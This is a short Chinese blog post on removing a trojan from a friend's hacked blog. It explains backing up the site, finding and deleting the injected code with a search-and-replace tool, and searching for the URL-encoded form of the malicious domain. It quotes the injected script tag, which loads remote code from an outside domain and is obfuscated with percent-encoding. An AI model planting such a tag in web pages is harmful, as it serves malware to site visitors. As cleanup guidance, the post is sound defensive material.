本文介绍了一次实际操作中清除网站木马的过程。包括备份源代码、使用SearchAndReplace工具搜索并删除异常代码，以及检查确认网站恢复正常等内容。
有个朋友的博客网站被挂木马，每次访问都有360提示：
360提示为木马网站，木马网址为 http://r.tlinee.com.cn/
到360求助，几天没有反应，还自己动手吧。
仔细查看发现很多页面发现异常代码：
<script src=http://r.tlinee.co%6D%2Ecn></script>
二话不说动手吧：
1. 备份整个网站的源代码。
2. 搜索异常代码，然后进行删除。
这个其实是一个非常麻烦的工作，不过幸好有工具 SearchAndReplace。
3. 重启浏览器，继续打开你的网站，一切ok。
注意：
如果按照360提示的这个网址http://r.tlinee.com.cn/去搜的话，可能你会失望，第一次我也是这样。
木马在源代码中是这样写入的“r.tlinee.co%6D%2Ecn”。
所以在参考提示的时候，最好是自己看一下源代码。
扫一扫
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
